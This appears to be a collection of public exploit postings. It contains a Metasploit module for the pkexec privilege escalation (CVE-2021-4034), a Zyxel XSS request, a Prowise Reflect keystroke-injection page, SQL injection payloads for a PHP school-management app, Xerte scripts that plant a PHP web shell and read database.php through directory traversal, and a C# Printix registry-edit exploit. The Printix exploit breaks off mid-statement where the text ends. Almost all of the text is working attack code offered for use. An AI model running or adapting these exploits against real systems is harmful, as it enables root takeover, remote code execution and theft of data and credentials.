<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Local<br /> Rank = ExcellentRanking<br /><br /> include Msf::Post::File<br /> include Msf::Post::Linux::Priv<br /> include Msf::Post::Linux::Kernel<br /> include Msf::Post::Linux::System<br /> include Msf::Exploit::EXE<br /> include Msf::Exploit::FileDropper<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Local Privilege Escalation in polkits pkexec',<br /> 'Description' => %q{<br /> A bug exists in the polkit pkexec binary in how it processes arguments. If<br /> the binary is provided with no arguments, it will continue to process environment<br /> variables as argument variables, but without any security checking.<br /> By using the execve call we can specify a null argument list and populate the<br /> proper environment variables. This exploit is architecture independent.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'Qualys Security', # Original vulnerability discovery<br /> 'Andris Raugulis', # Exploit writeup and PoC<br /> 'Dhiraj Mishra', # Metasploit Module<br /> 'bwatters-r7' # Metasploit Module<br /> ],<br /> 'DisclosureDate' => '2022-01-25',<br /> 'Platform' => [ 'linux' ],<br /> 'SessionTypes' => [ 'shell', 'meterpreter' ],<br /> 'Targets' => [<br /> [<br /> 'x86_64',<br /> {<br /> 'Arch' => [ ARCH_X64 ]<br /> }<br /> ],<br /> [<br /> 'x86',<br /> {<br /> 'Arch' => [ ARCH_X86 ]<br /> }<br /> ],<br /> [<br /> 'aarch64',<br /> {<br /> 'Arch' => [ ARCH_AARCH64 ]<br /> }<br /> ]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => {<br /> 'PrependSetgid' => true,<br /> 'PrependSetuid' => true<br /> },<br /> 'Privileged' => true,<br /> 'References' => [<br /> [ 'CVE', '2021-4034' ],<br /> [ 'URL', 'https://www.whitesourcesoftware.com/resources/blog/polkit-pkexec-vulnerability-cve-2021-4034/' ],<br /> [ 'URL', 'https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt' ],<br /> [ 'URL', 'https://github.com/arthepsy/CVE-2021-4034' ], # PoC Reference<br /> [ 'URL', 'https://www.ramanean.com/script-to-detect-polkit-vulnerability-in-redhat-linux-systems-pwnkit/' ], # Vuln versions<br /> [ 'URL', 'https://github.com/cyberark/PwnKit-Hunter/blob/main/CVE-2021-4034_Finder.py' ] # vuln versions<br /> ],<br /> 'Notes' => {<br /> 'Reliability' => [ REPEATABLE_SESSION ],<br /> 'Stability' => [ CRASH_SAFE ],<br /> 'SideEffects' => [ ARTIFACTS_ON_DISK ]<br /> }<br /> )<br /> )<br /> register_options([<br /> OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),<br /> OptString.new('PKEXEC_PATH', [ false, 'The path to pkexec binary', '' ])<br /> ])<br /> register_advanced_options([<br /> OptString.new('FinalDir', [ true, 'A directory to move to after the exploit completes', '/' ]),<br /> ])<br /> end<br /><br /> def on_new_session(new_session)<br /> # The directory the payload launches in gets deleted and breaks some commands<br /> # unless we change into a directory that exists<br /> super<br /> old_session = @session<br /> @session = new_session<br /> cd(datastore['FinalDir'])<br /> @session = old_session<br /> end<br /><br /> def find_pkexec<br /> vprint_status('Locating pkexec...')<br /> if exists?(pkexec = cmd_exec('which pkexec'))<br /> vprint_status("Found pkexec here: #{pkexec}")<br /> return pkexec<br /> end<br /><br /> return nil<br /> end<br /><br /> def check<br /> # Is the arch supported?<br /> arch = kernel_hardware<br /> unless arch.include?('x86_64') || arch.include?('aarch64') || arch.include?('x86')<br /> return CheckCode::Safe("System architecture #{arch} is not supported")<br /> end<br /><br /> # check the binary<br /> pkexec_path = datastore['PKEXEC_PATH']<br /> pkexec_path = find_pkexec if pkexec_path.empty?<br /> return CheckCode::Safe('The pkexec binary was not found; try populating PkexecPath') if pkexec_path.nil?<br /><br /> # we don't use the reported version, but it can help with troubleshooting<br /> version_output = cmd_exec("#{pkexec_path} --version")<br /> version_array = version_output.split(' ')<br /> if version_array.length > 2<br /> pkexec_version = Rex::Version.new(version_array[2])<br /> vprint_status("Found pkexec version #{pkexec_version}")<br /> end<br /><br /> return CheckCode::Safe('The pkexec binary setuid is not set') unless setuid?(pkexec_path)<br /><br /> # Grab the package version if we can to help troubleshoot<br /> sysinfo = get_sysinfo<br /> begin<br /> if sysinfo[:distro] =~ /[dD]ebian/<br /> vprint_status('Determined host os is Debian')<br /> package_data = cmd_exec('dpkg -s policykit-1')<br /> pulled_version = package_data.scan(/Version:\s(.*)/)[0][0]<br /> vprint_status("Polkit package version = #{pulled_version}")<br /> end<br /> if sysinfo[:distro] =~ /[uU]buntu/<br /> vprint_status('Determined host os is Ubuntu')<br /> package_data = cmd_exec('dpkg -s policykit-1')<br /> pulled_version = package_data.scan(/Version:\s(.*)/)[0][0]<br /> vprint_status("Polkit package version = #{pulled_version}")<br /> end<br /> if sysinfo[:distro] =~ /[cC]entos/<br /> vprint_status('Determined host os is CentOS')<br /> package_data = cmd_exec('rpm -qa | grep polkit')<br /> vprint_status("Polkit package version = #{package_data}")<br /> end<br /> rescue StandardError => e<br /> vprint_status("Caught exception #{e} Attempting to retrieve polkit package value.")<br /> end<br /><br /> if sysinfo[:distro] =~ /[fF]edora/<br /> # Fedora should be supported, and it passes the check otherwise, but it just<br /> # does not seem to work. I am not sure why. I have tried with SeLinux disabled.<br /> return CheckCode::Safe('Fedora is not supported')<br /> end<br /><br /> # run the exploit in check mode if everything looks right<br /> if run_exploit(true)<br /> return CheckCode::Vulnerable<br /> end<br /><br /> return CheckCode::Safe('The target does not appear vulnerable')<br /> end<br /><br /> def find_exec_program<br /> return 'python' if command_exists?('python')<br /> return 'python3' if command_exists?('python3')<br /><br /> return nil<br /> end<br /><br /> def run_exploit(check)<br /> if is_root? && !datastore['ForceExploit']<br /> fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'<br /> end<br /><br /> arch = kernel_hardware<br /> vprint_status("Detected architecture: #{arch}")<br /> if (arch.include?('x86_64') && payload.arch.first.include?('aarch')) || (arch.include?('aarch') && !payload.arch.first.include?('aarch'))<br /> fail_with(Failure::BadConfig, 'Host/payload Mismatch; set target and select matching payload')<br /> end<br /><br /> pkexec_path = datastore['PKEXEC_PATH']<br /> if pkexec_path.empty?<br /> pkexec_path = find_pkexec<br /> end<br /><br /> python_binary = find_exec_program<br /><br /> # Do we have the pkexec binary?<br /> if pkexec_path.nil?<br /> fail_with Failure::NotFound, 'The pkexec binary was not found; try populating PkexecPath'<br /> end<br /><br /> # Do we have the python binary?<br /> if python_binary.nil?<br /> fail_with Failure::NotFound, 'The python binary was not found; try populating PythonPath'<br /> end<br /><br /> unless writable? datastore['WRITABLE_DIR']<br /> fail_with Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable"<br /> end<br /><br /> local_dir = ".#{Rex::Text.rand_text_alpha_lower(6..12)}"<br /> working_dir = "#{datastore['WRITABLE_DIR']}/#{local_dir}"<br /> mkdir(working_dir)<br /> register_dir_for_cleanup(working_dir)<br /><br /> random_string_1 = Rex::Text.rand_text_alpha_lower(6..12).to_s<br /> random_string_2 = Rex::Text.rand_text_alpha_lower(6..12).to_s<br /> @old_wd = pwd<br /> cd(working_dir)<br /> cmd_exec('mkdir -p GCONV_PATH=.')<br /> cmd_exec("touch GCONV_PATH=./#{random_string_1}")<br /> cmd_exec("chmod a+x GCONV_PATH=./#{random_string_1}")<br /> cmd_exec("mkdir -p #{random_string_1}")<br /><br /> payload_file = "#{working_dir}/#{random_string_1}/#{random_string_1}.so"<br /> unless check<br /> upload_and_chmodx(payload_file.to_s, generate_payload_dll)<br /> register_file_for_cleanup(payload_file)<br /> end<br /><br /> exploit_file = "#{working_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"<br /><br /> write_file(exploit_file, exploit_data('CVE-2021-4034', 'cve_2021_4034.py'))<br /> register_file_for_cleanup(exploit_file)<br /><br /> cmd = "#{python_binary} #{exploit_file} #{pkexec_path} #{payload_file} #{random_string_1} #{random_string_2}"<br /> print_warning("Verify cleanup of #{working_dir}")<br /> vprint_status("Running #{cmd}")<br /> output = cmd_exec(cmd)<br /><br /> # Return to the old working directory before we delete working_directory<br /> cd(@old_wd)<br /> cmd_exec("rm -rf #{working_dir}")<br /> vprint_status(output) unless output.empty?<br /> # Return proper value if we are using exploit-as-a-check<br /> if check<br /> return false if output.include?('pkexec --version')<br /><br /> return true<br /> end<br /> end<br /><br /> def exploit<br /> run_exploit(false)<br /> end<br />end<br /></code></pre>
<pre><code># Exploit Title: Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting (XSS)<br /># Date: 1/3/2022<br /># Exploit Author: Momen Eldawakhly (CyberGuy)<br /># Vendor Homepage: https://www.zyxel.com<br /># Version: ZyWALL 2 Plus<br /># Tested on: Ubuntu Linux [Firefox]<br /># CVE : CVE-2021-46387<br /><br />GET /Forms/rpAuth_1?id=%3C/form%3E%3CiMg%20src=x%20onerror=%22prompt(1)%22%3E%3Cform%3E HTTP/1.1<br />Host: vuln.ip:8080<br />User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br />Accept-Language: en-US,en;q=0.5<br />Accept-Encoding: gzip, deflate<br />DNT: 1<br />Connection: close<br />Upgrade-Insecure-Requests: 1<br /><br /></code></pre>
<pre><code># Exploit Title: Prowise Reflect v1.0.9 - Remote Keystroke Injection<br /># Date: 30/10/2022<br /># Exploit Author: Rik Lutz<br /># Vendor Homepage: https://www.prowise.com/<br /># Version: V1.0.9<br /># Tested on: Windows 10<br /><br /># Prowise Reflect software version 1.0.9 for Windows is vulnerable to a remote keystroke injection. <br /># Much like how a rubber ducky attack works but this works either over the network (when port 8082 is exposed),<br /># or by visiting a malicious website. This POC contains the malicious webpage.<br /># Steps:<br /># 1. Start Prowise reflect<br /># 2. Try to connect to a reflect server e.q. ygm7u6od<br /># 3. When it is connecting click exploit<br /># - Start menu will open, types notepad.exe and types hello world.<br /><br /><!DOCTYPE HTML><br /><br /><html><br /> <head><br /> <br /><script type = "text/javascript"><br /><br />function wait(ms){<br /> var start = new Date().getTime();<br /> var end = start;<br /> while(end < start + ms) {<br /> end = new Date().getTime();<br /> }<br />}<br /><br />function WebSocketTest() {<br /> var StateConnecting = new Boolean(false);<br /> if ("WebSocket" in window) { <br /> // Let us open a web socket<br /> var ws = new WebSocket("ws://localhost:8082");<br /><br /> ws.onopen = function() {<br /><br /> ws.send('{"event":"keyboard", "key":"super"}'); <br /> wait(400);<br /> //character is slower<br /> // ws.send('{"event":"keyboard", "character":"notepad.exe"}'};<br /> <br /> // You can check for connecting state by sending {"event":"setupRTCConnection", "remoteName":"a"} if the response is {"event":"streamAvailable"} getIsConnecting == true<br /> var exploitcode = "notepad.exe"<br /> for (let i = 0; i < exploitcode.length; i++) {<br /> ws.send('{"event":"keyboard", "key":"' + exploitcode[i] + '"}');<br /> } <br /> <br /> wait(300);<br /> ws.send('{"event":"keyboard", "key":"enter"}');<br /> wait(2000);<br /> exploitcode = "Hello world!"<br /> <br /> for (let i = 0; i < exploitcode.length; i++) {<br /> ws.send('{"event":"keyboard", "key":"' + exploitcode[i] + '"}');<br /> } <br /> wait(200);<br /> };<br /><br /> ws.onmessage = function (evt) { <br /> var received_msg = evt.data; <br /> };<br /><br /> ws.onclose = function() { <br /><br /> // websocket is closed.<br /> alert("Connection is closed..."); <br /> };<br /> } else {<br /> // The browser doesn't support WebSocket<br /> alert("WebSocket NOT supported by your Browser!");<br /> }<br />}<br /></script><br /> <br /> </head><br /> <br /> <body><br /> <div id = "sse"><br /> <a href = "javascript:WebSocketTest()">Exploit!</a><br /> </div><br /> <br /> </body><br /></html><br /><br /></code></pre>
<pre><code>## Title: Car Driving School Management v1.0 SQLi<br />## Author: nu11secur1ty<br />## Date: 03.02.2022<br />## Vendor: https://www.sourcecodester.com/users/tips23<br />## Software: https://www.sourcecodester.com/php/15070/car-driving-school-management-system-phpoop-free-source-code.html<br />## Reference: https://github.com/nu11secur1ty/CVE-mitre/blob/main/2022/CVE-2022-24571<br /><br />## Description:<br />The `username` parameter on Car Driving School Management v1.0 appears<br />to be vulnerable to SQL injection attacks.<br />A single quote was submitted in the username parameter, and a database<br />error message was returned.<br />Two single quotes were then submitted and the error message disappeared.<br />The attacker can take administrator account control and also of all<br />accounts on this system, also the malicious user can download all<br />information about this system.<br /><br />Status: CRITICAL<br /><br />[+] Payloads:<br /><br />```mysql<br /><br />---<br />Parameter: username (POST)<br /> Type: boolean-based blind<br /> Title: OR boolean-based blind - WHERE or HAVING clause (NOT)<br /> Payload: username=DMdqCjGG' OR NOT 6823=6823-- yrqx&password=a5Y!f7m!O0<br /><br /> Type: error-based<br /> Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or<br />GROUP BY clause (FLOOR)<br /> Payload: username=DMdqCjGG' AND (SELECT 9746 FROM(SELECT<br />COUNT(*),CONCAT(0x71786b7671,(SELECT<br />(ELT(9746=9746,1))),0x7171787a71,FLOOR(RAND(0)*2))x FROM<br />INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gzNl&password=a5Y!f7m!O0<br /><br /> Type: time-based blind<br /> Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)<br /> Payload: username=DMdqCjGG' AND (SELECT 9290 FROM<br />(SELECT(SLEEP(5)))RWHi)-- vsyd&password=a5Y!f7m!O0<br />---<br /><br />```<br /><br />## Reproduce:<br />[href](https://github.com/nu11secur1ty/CVE-mitre/blob/main/2022/CVE-2022-24571)<br /><br />## Proof and Exploit:<br />[href](https://streamable.com/n9r8uk)<br /><br /></code></pre>
<pre><code># Exploit Title: Xerte 3.9 - Remote Code Execution (RCE) (Authenticated)<br /># Date: 05/03/2021<br /># Exploit Author: Rik Lutz<br /># Vendor Homepage: https://xerte.org.uk<br /># Software Link: https://github.com/thexerteproject/xerteonlinetoolkits/archive/refs/heads/3.8.5-33.zip<br /># Version: up until version 3.9<br /># Tested on: Windows 10 XAMP <br /># CVE : CVE-2021-44664<br /><br /># This PoC assumes guest login is enabled and the en-GB langues files are used. <br /># This PoC wil overwrite the existing langues file (.inc) for the englisch index page with a shell.<br /># Vulnerable url: https://<host>/website_code/php/import/fileupload.php<br /># The mediapath variable can be used to set the destination of the uploaded.<br /># Create new project from template -> visit "Properties" (! symbol) -> Media and Quota<br /><br />import requests<br />import re<br /><br />xerte_base_url = "http://127.0.0.1"<br />php_session_id = "" # If guest is not enabled, and you have a session ID. Put it here.<br /><br />with requests.Session() as session:<br /> # Get a PHP session ID<br /> if not php_session_id:<br /> session.get(xerte_base_url) <br /> else:<br /> session.cookies.set("PHPSESSID", php_session_id)<br /><br /> # Use a default template<br /> data = {<br /> 'tutorialid': 'Nottingham',<br /> 'templatename': 'Nottingham',<br /> 'tutorialname': 'exploit',<br /> 'folder_id': ''<br /> }<br /><br /> # Create a new project in order to find the install path<br /> template_id = session.post(xerte_base_url + '/website_code/php/templates/new_template.php', data=data)<br /><br /> # Find template ID<br /> data = {<br /> 'template_id': re.findall('(\d+)', template_id.text)[0]<br /> }<br /><br /> # Find the install path:<br /> install_path = session.post(xerte_base_url + '/website_code/php/properties/media_and_quota_template.php', data=data)<br /> install_path = re.findall('mediapath" value="(.+?)"', install_path.text)[0]<br /><br /> headers = {<br /> 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0',<br /> 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',<br /> 'Accept-Language': 'nl,en-US;q=0.7,en;q=0.3',<br /> 'Content-Type': 'multipart/form-data; boundary=---------------------------170331411929658976061651588978',<br /> }<br /><br /> # index.inc file<br /> data = \<br /> '''-----------------------------170331411929658976061651588978<br />Content-Disposition: form-data; name="filenameuploaded"; filename="index.inc"<br />Content-Type: application/octet-stream<br /><br /><?php<br />if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }<br />/**<br /> *<br /> * index.php english language file<br /> *<br /> * @author Patrick Lockley<br /> * @version 1.0<br /> * @copyright Pat Lockley<br /> * @package<br /> */<br /><br />define("INDEX_USERNAME_AND_PASSWORD_EMPTY", "Please enter your username and password");<br /><br />define("INDEX_USERNAME_EMPTY", "Please enter your username");<br /><br />define("INDEX_PASSWORD_EMPTY", "Please enter your password");<br /><br />define("INDEX_LDAP_MISSING", "PHP\'s LDAP library needs to be installed to use LDAP authentication. If you read the install guide other options are available");<br /><br />define("INDEX_SITE_ADMIN", "Site admins should log on on the manangement page");<br /><br />define("INDEX_LOGON_FAIL", "Sorry that password combination was not correct");<br /><br />define("INDEX_LOGIN", "login area");<br /><br />define("INDEX_USERNAME", "Username");<br /><br />define("INDEX_PASSWORD", "Password");<br /><br />define("INDEX_HELP_TITLE", "Getting Started");<br /><br />define("INDEX_HELP_INTRODUCTION", "We\'ve produced a short introduction to the Toolkits website.");<br /><br />define("INDEX_HELP_INTRO_LINK_TEXT","Show me!");<br /><br />define("INDEX_NO_LDAP","PHP\'s LDAP library needs to be installed to use LDAP authentication. If you read the install guide other options are available");<br /><br />define("INDEX_FOLDER_PROMPT","What would you like to call your folder?");<br /><br />define("INDEX_WORKSPACE_TITLE","My Projects");<br /><br />define("INDEX_CREATE","Project Templates");<br /><br />define("INDEX_DETAILS","Project Details");<br /><br />define("INDEX_SORT","Sort");<br /><br />define("INDEX_SEARCH","Search");<br /><br />define("INDEX_SORT_A","Alphabetical A-Z");<br /><br />define("INDEX_SORT_Z","Alphabetical Z-A");<br /><br />define("INDEX_SORT_NEW","Age (New to Old)");<br /><br />define("INDEX_SORT_OLD","Age (Old to New)");<br /><br />define("INDEX_LOG_OUT","Log out");<br /><br />define("INDEX_LOGGED_IN_AS","Logged in as");<br /><br />define("INDEX_BUTTON_LOGIN","Login");<br /><br />define("INDEX_BUTTON_LOGOUT","Logout");<br /><br />define("INDEX_BUTTON_PROPERTIES","Properties");<br /><br />define("INDEX_BUTTON_EDIT","Edit");<br /><br />define("INDEX_BUTTON_PREVIEW", "Preview");<br /><br />define("INDEX_BUTTON_SORT", "Sort");<br /><br />define("INDEX_BUTTON_NEWFOLDER", "New Folder");<br /><br />define("INDEX_BUTTON_NEWFOLDER_CREATE", "Create");<br /><br />define("INDEX_BUTTON_DELETE", "Delete");<br /><br />define("INDEX_BUTTON_DUPLICATE", "Duplicate");<br /><br />define("INDEX_BUTTON_PUBLISH", "Publish");<br /><br />define("INDEX_BUTTON_CANCEL", "Cancel");<br /><br />define("INDEX_BUTTON_SAVE", "Save");<br /><br />define("INDEX_XAPI_DASHBOARD_FROM", "From:");<br /><br />define("INDEX_XAPI_DASHBOARD_UNTIL", "Until:");<br /><br />define("INDEX_XAPI_DASHBOARD_GROUP_SELECT", "Select group:");<br /><br />define("INDEX_XAPI_DASHBOARD_GROUP_ALL", "All groups");<br /><br />define("INDEX_XAPI_DASHBOARD_SHOW_NAMES", "Show names and/or email addresses");<br /><br />define("INDEX_XAPI_DASHBOARD_CLOSE", "Close dashboard");<br /><br />define("INDEX_XAPI_DASHBOARD_DISPLAY_OPTIONS", "Display options");<br /><br />define("INDEX_XAPI_DASHBOARD_SHOW_HIDE_COLUMNS", "Show / hide columns");<br /><br />define("INDEX_XAPI_DASHBOARD_QUESTION_OVERVIEW", "Interaction overview");<br /><br />define("INDEX_XAPI_DASHBOARD_PRINT", "Print");<br />\r<br />\r<br />-----------------------------170331411929658976061651588978<br />Content-Disposition: form-data; name="mediapath"<br /><br />''' \<br /> + install_path \<br /> + '''../../../languages/en-GB/<br />-----------------------------170331411929658976061651588978--\r<br />'''<br /><br /> # Overwrite index.inc file<br /> response = session.post(xerte_base_url + '/website_code/php/import/fileupload.php', headers=headers, data=data)<br /> print('Installation path: ' + install_path)<br /> print(response.text)<br /> if "success" in response.text:<br /> print("Visit shell @: " + xerte_base_url + '/?cmd=whoami')<br /> <br /><br /></code></pre>
<pre><code># Exploit Title: Xerte 3.10.3 - Directory Traversal (Authenticated)<br /># Date: 05/03/2021<br /># Exploit Author: Rik Lutz<br /># Vendor Homepage: https://xerte.org.uk<br /># Software Link: https://github.com/thexerteproject/xerteonlinetoolkits/archive/refs/heads/3.9.zip<br /># Version: up until 3.10.3<br /># Tested on: Windows 10 XAMP<br /># CVE : CVE-2021-44665<br /><br /># This PoC assumes guest login is enabled. Vulnerable url:<br /># https://<host>/getfile.php?file=<user-direcotry>/../../database.php<br /># You can find a userfiles-directory by creating a project and browsing the media menu.<br /># Create new project from template -> visit "Properties" (! symbol) -> Media and Quota -> Click file to download<br /># The userfiles-direcotry will be noted in the URL and/or when you download a file.<br /># They look like: <numbers>-<username>-<templatename><br /><br />import requests<br />import re<br /><br />xerte_base_url = "http://127.0.0.1"<br />file_to_grab = "/../../database.php"<br />php_session_id = "" # If guest is not enabled, and you have a session ID. Put it here.<br /><br />with requests.Session() as session:<br /> # Get a PHP session ID<br /> if not php_session_id:<br /> session.get(xerte_base_url) <br /> else:<br /> session.cookies.set("PHPSESSID", php_session_id)<br /><br /> # Use a default template<br /> data = {<br /> 'tutorialid': 'Nottingham',<br /> 'templatename': 'Nottingham',<br /> 'tutorialname': 'exploit',<br /> 'folder_id': ''<br /> }<br /><br /> # Create a new project in order to create a user-folder<br /> template_id = session.post(xerte_base_url + '/website_code/php/templates/new_template.php', data=data)<br /><br /> # Find template ID<br /> data = {<br /> 'template_id': re.findall('(\d+)', template_id.text)[0]<br /> }<br /><br /> # Find the created user-direcotry:<br /> user_direcotry = session.post(xerte_base_url + '/website_code/php/properties/media_and_quota_template.php', data=data)<br /> user_direcotry = re.findall('USER-FILES\/([0-9]+-[a-z0-9]+-[a-zA-Z0-9_]+)', user_direcotry.text)[0]<br /><br /> # Grab file<br /> result = session.get(xerte_base_url + '/getfile.php?file=' + user_direcotry + file_to_grab)<br /> print(result.text)<br /> print("|-- Used Variables: --|")<br /> print("PHP Session ID: " + session.cookies.get_dict()['PHPSESSID'])<br /> print("user direcotry: " + user_direcotry)<br /> print("Curl example:")<br /> print('curl --cookie "PHPSESSID=' + session.cookies.get_dict()['PHPSESSID'] + '" ' + xerte_base_url + '/getfile.php?file=' + user_direcotry + file_to_grab)<br /> <br /><br /></code></pre>
<pre><code># Exploit Title: Printix Client 1.3.1106.0 - Remote Code Execution (RCE)<br /># Date: 3/1/2022<br /># Exploit Author: Logan Latvala<br /># Vendor Homepage: https://printix.net<br /># Software Link: https://software.printix.net/client/win/1.3.1106.0/PrintixClientWindows.zip<br /># Version: <= 1.3.1106.0<br /># Tested on: Windows 7, Windows 8, Windows 10, Windows 11<br /># CVE : CVE-2022-25089<br /># Github for project: https://github.com/ComparedArray/printix-CVE-2022-25089<br /><br />using Microsoft.Win32;<br />using Newtonsoft.Json;<br />using Newtonsoft.Json.Converters;<br />using System;<br />using System.Collections.Generic;<br />using System.Diagnostics;<br />using System.Linq;<br />using System.Text;<br />using System.Threading;<br />using System.Threading.Tasks;<br /><br />/**<br /> * ________________________________________<br /> * <br /> * Printix Vulnerability, CVE-2022-25089<br /> * Part of a Printix Vulnerability series<br /> * Author: Logan Latvala<br /> * Github: https://github.com/ComparedArray/printix-CVE-2022-25089<br /> * ________________________________________<br /> * <br /> */<br /><br /><br />namespace ConsoleApp1a<br />{<br /><br /> public class PersistentRegistryData<br /> {<br /> public PersistentRegistryCmds cmd;<br /><br /> public string path;<br /><br /> public int VDIType;<br /><br /> public byte[] registryData;<br /> }<br /><br /> [JsonConverter(typeof(StringEnumConverter))]<br /> public enum PersistentRegistryCmds<br /> {<br /> StoreData = 1,<br /> DeleteSubTree,<br /> RestoreData<br /> }<br /> public class Session<br /> {<br /> public int commandNumber { get; set; }<br /> public string host { get; set; }<br /> public string data { get; set; }<br /> public string sessionName { get; set; }<br /> public Session(int commandSessionNumber = 0)<br /> {<br /> commandNumber = commandSessionNumber;<br /> switch (commandSessionNumber)<br /> {<br /> //Incase it's initiated, kill it immediately.<br /> case (0):<br /> Environment.Exit(0x001);<br /> break;<br /><br /> //Incase the Ping request is sent though, get its needed data.<br /> case (2):<br /> Console.WriteLine("\n What Host Address? (DNS Names Or IP)\n");<br /> Console.Write("IP: ");<br /> host = Console.ReadLine();<br /> Console.WriteLine("Host address set to: " + host);<br /><br /> data = "pingData";<br /> sessionName = "PingerRinger";<br /> break;<br /><br /> //Incase the RegEdit request is sent though, get its needed data.<br /> case (49):<br /> Console.WriteLine("\n What Host Address? (DNS Names Or IP)\n");<br /> Console.Write("IP: ");<br /> host = Console.ReadLine();<br /> Console.WriteLine("Host address set to: " + host);<br /><br /> PersistentRegistryData persistentRegistryData = new PersistentRegistryData();<br /> persistentRegistryData.cmd = PersistentRegistryCmds.RestoreData;<br /> persistentRegistryData.VDIType = 12; //(int)DefaultValues.VDIType;<br /> //persistentRegistryData.path = "printix\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName";<br /> Console.WriteLine("\n What Node starting from \\\\Local-Machine\\ would you like to select? \n");<br /> Console.WriteLine("Example: HKEY_LOCAL_MACHINE\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName\n");<br /> Console.WriteLine("You can only change values in HKEY_LOCAL_MACHINE");<br /> Console.Write("Registry Node: ");<br /> persistentRegistryData.path = "" + Console.ReadLine().Replace("HKEY_LOCAL_MACHINE","printix");<br /> Console.WriteLine("Full Address Set To: " + persistentRegistryData.path);<br /><br /> //persistentRegistryData.registryData = new byte[2];<br /> //byte[] loader = selectDataType("Intel(R) Capability Licensing stuffidkreally", RegistryValueKind.String);<br /><br /> Console.WriteLine("\n What Data type are you using? \n1. String 2. Dword 3. Qword 4. Multi String \n");<br /> Console.Write("Type: ");<br /> int dataF = int.Parse(Console.ReadLine());<br /> Console.WriteLine("Set Data to: " + dataF);<br /><br /> Console.WriteLine("\n What value is your type? \n");<br /> Console.Write("Value: ");<br /> string dataB = Console.ReadLine();<br /> Console.WriteLine("Set Data to: " + dataF);<br /><br /> byte[] loader = null;<br /> List<byte> byteContainer = new List<byte>();<br /> //Dword = 4<br /> //SET THIS NUMBER TO THE TYPE OF DATA YOU ARE USING! (CHECK ABOVE FUNCITON selectDataType()!)<br /><br /> switch (dataF)<br /> {<br /> case (1):<br /><br /> loader = selectDataType(dataB, RegistryValueKind.String);<br /> byteContainer.Add(1);<br /> break;<br /> case (2):<br /> loader = selectDataType(int.Parse(dataB), RegistryValueKind.DWord);<br /> byteContainer.Add(4);<br /> break;<br /> case (3):<br /> loader = selectDataType(long.Parse(dataB), RegistryValueKind.QWord);<br /> byteContainer.Add(11);<br /> break;<br /> case (4):<br /> loader = selectDataType(dataB.Split('%'), RegistryValueKind.MultiString);<br /> byteContainer.Add(7);<br /> break;<br /><br /> }<br /><br /> int pathHolder = 0;<br /> foreach (byte bit in loader)<br /> {<br /> pathHolder++;<br /> byteContainer.Add(bit);<br /> }<br /><br /> persistentRegistryData.registryData = byteContainer.ToArray();<br /> //added stuff:<br /><br /> //PersistentRegistryData data = new PersistentRegistryData();<br /> //data.cmd = PersistentRegistryCmds.RestoreData;<br /> //data.path = "";<br /><br /><br /> //data.cmd <br /> Console.WriteLine(JsonConvert.SerializeObject(persistentRegistryData));<br /> data = JsonConvert.SerializeObject(persistentRegistryData);<br /><br /> break;<br /> //Custom cases, such as custom JSON Inputs and more.<br /> case (100):<br /> Console.WriteLine("\n What Host Address? (DNS Names Or IP)\n");<br /> Console.Write("IP: ");<br /> host = Console.ReadLine();<br /> Console.WriteLine("Host address set to: " + host);<br /><br /> Console.WriteLine("\n What Data Should Be Sent?\n");<br /> Console.Write("Data: ");<br /> data = Console.ReadLine();<br /> Console.WriteLine("Data set to: " + data);<br /><br /> Console.WriteLine("\n What Session Name Should Be Used? \n");<br /> Console.Write("Session Name: ");<br /> sessionName = Console.ReadLine();<br /> Console.WriteLine("Session name set to: " + sessionName);<br /> break;<br /> }<br /><br /><br /> }<br /> public static byte[] selectDataType(object value, RegistryValueKind format)<br /> {<br /> byte[] array = new byte[50];<br /><br /> switch (format)<br /> {<br /> case RegistryValueKind.String: //1<br /> array = Encoding.UTF8.GetBytes((string)value);<br /> break;<br /> case RegistryValueKind.DWord://4<br /> array = ((!(value.GetType() == typeof(int))) ? BitConverter.GetBytes((long)value) : BitConverter.GetBytes((int)value));<br /> break;<br /> case RegistryValueKind.QWord://11<br /> if (value == null)<br /> {<br /> value = 0L;<br /> }<br /> array = BitConverter.GetBytes((long)value);<br /> break;<br /> case RegistryValueKind.MultiString://7 <br /> {<br /> if (value == null)<br /> {<br /> value = new string[1] { string.Empty };<br /> }<br /> string[] array2 = (string[])value;<br /> foreach (string s in array2)<br /> {<br /> byte[] bytes = Encoding.UTF8.GetBytes(s);<br /> byte[] second = new byte[1] { (byte)bytes.Length };<br /> array = array.Concat(second).Concat(bytes).ToArray();<br /> }<br /> break;<br /> }<br /> }<br /> return array;<br /> }<br /> }<br /> class CVESUBMISSION<br /> {<br /> static void Main(string[] args)<br /> {<br /> FORCERESTART:<br /> try<br /> {<br /><br /> //Edit any registry without auth: <br /> //Use command 49, use the code provided on the desktop...<br /> //This modifies it directly, so no specific username is needed. :D<br /><br /> //The command parameter, a list of commands is below.<br /> int command = 43;<br /><br /> //To force the user to input variables or not.<br /> bool forceCustomInput = false;<br /><br /> //The data to send, this isn't flexible and should be used only for specific examples.<br /> //Try to keep above 4 characters if you're just shoving things into the command.<br /> string data 